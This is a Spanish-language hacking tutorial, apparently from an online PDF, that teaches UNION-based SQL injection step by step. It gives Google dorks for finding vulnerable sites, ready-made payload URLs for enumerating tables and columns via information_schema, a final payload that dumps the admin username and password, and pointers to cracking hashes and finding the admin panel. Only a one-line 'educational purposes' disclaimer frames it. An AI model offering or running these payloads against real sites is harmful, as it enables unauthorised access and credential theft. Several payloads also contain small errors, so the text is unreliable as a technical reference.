Está en la página 1de 12

..:: American Hackers ::..

Mr. Pack

Inyeccin SQLi :

1. 2. 3. 4. 5. 6. 7.

Que Significa SQL Palabras Claves Seleccionando Tablas y Campos. Realizar La Inyeccin Buscando en Donde inyectar. Buscando Datos claves Crackeando Datos.

Bueno primero que todo , Este tutorial es Con Fines Educativos. Ya es responsabilidad de cada quien como usar el conocimiento adquirido.

1 SQL (Lenguaje de Consultas Estructurado) Es Un Leguaje de las Famosas Bases DE Datos .

2 Bueno aqu solo nos enfocaremos en las palabras claves que vamos a usar en la inyeccin.

Select : Este comando nos sirve para seleccionar Union: Para Unir Objetos. From : estos nos indicara de donde seleccionamos. Where : esto nos servir para hacer referencia a un dato ,campo en especifico.

3 Bueno aqu un Breve ejemplo de Como seleccionar Tablas y campos.

Select usuario From tbl_admin Where username = admin

Aqui estamos diciendo que seleccionemos Usuario de la tabla admin donde el username sea el nombre de usuario sea igual a admin ( username varia segn el nombre que tenga ese campo en la tabla de la BD que estemos consultando).

4 Realizar inyeccin.

Bueno primero que nada , para realizar una inyeccin primero tenemos que tener una pag Vulnerable , Se preguntaran ustedes , Bueno y como saber si una pag es vulnerable ? Bueno existe algo llamado DORKS estos dorks nos permiten realizar una Bsqueda en general con Google.

Ejemplo de DORKS:

Allinurl:.index.php?id=* Allinurl:.productos.php?idproduct=* En fin ya se podrn ir haciendo una idea de como conseguir sus propios Dorks.

Bueno ahora digamos que tenemos esta web

www.ejemplo.com/index.php?id=4

ahora como saber si esa web es vulnerable a sql sencillo antes del numero o despus como gusten le agregamos un apostrofe de esta manera .

www.ejemplo.com/index.php?id=4 y damos enter , si al cargar la pag tira un error que diga algo relacionado con sql, ya sabremos que es vulnerable a este ataque, OJO!!! No solamente es vulnerable si sale el mensaje de error NO!!! Tambin es vulnerable si al cargar la pag carga incompleta , sea si le faltan mensajes , imgenes etc. ustedes ya sabrn a que me refiero.

5Buscando Donde inyectar: Bueno aqu usaremos lo antes visto como : Palabras claves Unin , select from.

Tomando la URL del ejemplo anterior:

www.ejemplo.com/index.php?id=4 ahora crearemos un ID No Existente que por lo general son nmeros negativos

www.ejemplo.com/index.php?id=-1

ahora daremos paso a agregar las palabras clave

www.ejemplo.com/index.php?id=-1+union+select+0 Bueno hay personas que al realizar estas inyecciones usan el all despus del unin y antes del select as +unin+all+select+ ya es a gusto de cada quien,

Ahora vamos hacer un recorrido de nmeros buscando donde la pag nos cargue .

www.ejemplo.com/index.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9

Bingo!!! En el numero nuevo la pag nos carga , Bien!!! Hoooo pero hey no me cargo bien y adems veo unos nmeros en la pag , que quiere decir esto ?

Bueno esto nos quiere decir que hemos dado con el espacio en donde inyectar el cdigo de consulta, Digamos que cuando carg la pag nos tiro 2 nmeros que son por ejemplo el 2 y 7, pero uno esta mas resaltado que el otro(en este caso digamos que es el 7) , o uno se ve mas que el otro, pues bueno en el que mas se vea procederemos a realizar la inyeccin pertinente.

Reemplazaremos el numero que mas se ve por table_name y despus del numero donde nos cargo la pag en este caso el 9 agregamos +from+information_Schema.tables--

www.ejemplo.com/index.php?id=1+union+select+0,1,2,3,4,5,6,table_name,8,9+from+information_schema.tab les--

y damos enter.

Al Cargar la pag vemos que donde sala el 7 ya nos va a salir algo como por ejemplo

CHART_SEC

Luego agregamos un limit 1,1 antes de las dos lneas -- de esta manera www.ejemplo.com/index.php?id=1+union+select+0,1,2,3,4,5,6,table_name,8,9+from+information_schema.tab les+limit+1,1-pero antes les explicare algo.

Information_Schema es una tabla que esta casi siempre por defecto en todas las BD de una pag .

Con el Table_name le indicamos que nos muestre el nombre de la tabla que se encuentre dentro de information_Schema, con el limit vamos mostrando 1 por 1 de las tablas que contiene information_Schema por lo general hay mas o menos entre 14 o 16 tablas dentro de information_Schema , estas estn ordenadas en orden alfabtica , Por Eso vern que Casi Siempre la ultima Tabla de Information_Schema se llama VIEWS , luego de ah inician las tablas de la BD de la pag como tal, Cmo me doy cuenta que estoy viendo las tablas de la BD de la pag como tal? , Bueno pues como ya les mencione antes es en orden alfabtico por eso si la ultima tabla de Information_Schema se llama Views y al seguir aumentando el numero que esta despus de limit (+limit+1,1--) (+limit+2,1--) (+limit+3,1--) etc , aqu podemos ver como se recorren las tablas de Information_Schema, si al llegar a (+limit+16,1--) nos muestra una tabla llamada VIEWS , al avanzar sea (+limit+17,1--) nos muestra una tabla llamada (admin) que quiere decir ? Pues que ya estamos viendo las tablas de la BD de la pag como tal.

6 Buscando Datos Claves.

Bueno se preguntaran, a que te refieres con Buscar Datos Claves?. Simple si Nos Queremos Loguear en una Web Con los Mximos Privilegios , Que tenemos que Buscar? Pues algn Dato que Nos Relacione a la Cuenta Del Admin. Como lo Hacemos? De La Siguiente Manera. Digamos que ya hemos recorrido todas las tablas de la pag , y encontramos que en

www.ejemplo.com/index.php?id=1+union+select+0,1,2,3,4,5,6,table_name,8,9+from+information_schema.tab les+limit+19,1--

Notamos Que la tabla admin la encontramos aqu . Copiamos el Nombre de La Tabla Que Nos Muestra En La Consulta .

Ejemplo:

Si se llama tbl_admin la copiamos y la pegamos en un block de notas , para luego usarla ;)

Ahora Solo es Empezar A Remplazar Datos : Luego cambiamos el Table_name por group_concat(column_name) de esta manera :

Ejemplo: www.ejemplo.com/index.php?id=1+union+select+0,1,2,3,4,5,6,group_concat(column_name),8,9+from+inform ation_schema.tables+limit+19,1--

Buscamos Una Pag que nos Permita Cambiar De String a ASCII (cambiar la palabra a nmeros ), Recuerdan el Nombre de la Tabla que les dije que copiaran en un block de notas? Bueno la pegamos donde hayan encontrado la pag que nos permite el cambio de string a ascii (Recomiendo esta Web es de Un Amigo que seguro lo han odo mencionar http://tools.xt3mp.mx/deftools/ ), y luego cuando tengamos el cdigo en numero lo copiamos y lo reemplazamos en la url de esta Manera :

www.ejemplo.com/index.php?id=1+union+select+0,1,2,3,4,5,6,group_concat(column_name),8,9+from+inform ation_schema.columns+where+table_name=char(116,108,98,95,97,100,109, 105,110)--

Donde (116,108,98,95,97,100,109,105,110) es igual al Nombre de la tabla que pegamos sea (tlb_admin) .

Pues Bien Cada Vez Estamos Mas cerca De Encontrar Lo Que Estamos Buscando , sea Los Datos De El Usuario Con Mayor Privilegio en La Pag !!!!

Si todo esta Bien Y damos Enter en el Link Que estamos Editando , Nos Tendra que mostrar los campos de la tabla . Ejemplo: www.ejemplo.com/index.php?id=1+union+select+0,1,2,3,4,5,6,group_concat(column_name),8,9+from+inform ation_schema.columns+where+table_name=char(116,108,98,95,97,100,109, 105,110)-Digamos Que esa Tabla Tiene Solo 2 Campos Que Son name_user y password

Ahora Bien solo es Editar Unas Cositas y Listo !! Tendramos Los Datos Necesarios ;)

Editamos La URL de esta manera

www.ejemplo.com/index.php?id=-1+union+select+0,1,2,3,4,5,6, concat(name_user,0x3a,password),8,9+from+tlb_admin

Donde estamos Diciendo Que Queremos Consultar Los Datos Que Contienen Esos Campos , De la Tabla tlb_admin , Por Eso Despus del From + tlb_admin , ya que estamos diciendo que queremos ver los datos que hay en los Campos name_user y password de la Tabla tlb_admin , Van Entendiendo La Lgica Del Cdigo ?

PDT: ese Cdigo Que Ven (0x3a) es Un Cdigo Hexadecimal , lo que nos Representan los dos puntos sea ( : )

Esto Quiere Decir que vamos a separar ambos Datos Por Medio De Los ( : )

Bien !!

Si damos Enter Nos tendra que mostrar Los Datos Tanto como Nombre de Usuario como el Password .

OJO !!!

Hay Passwords que vienen Encriptados (Mas Conocidos como Hash ) , Hay Varios Tipos de Encriptacin Como:

1. 2. 3. 4. 5.

MD5 MD2 MD4 SHA1 SHA2 ..

Y Muchos mas , as que si ven Un Password Con Caracteres Raros sea Poco comunes , Debern Buscar En Que Tipo De Encriptacin esta el Password, y Obviamente Daremos Paso a Desencriptar el hash .

Y Bueno se preguntaran Que Hacemos Con estos Datos ?

Pues eso ya esta en ustedes , como puedo loguearme como admin?? Bueno les digo eso ya es otro Cuento , Existen Varios Mtodos De Buscar un panel de admin , eso ya es tarea de ustedes ;) ESPERO LES SIRVA ESTE TUTORIAL SOBRE INYECCION SQLI !!!!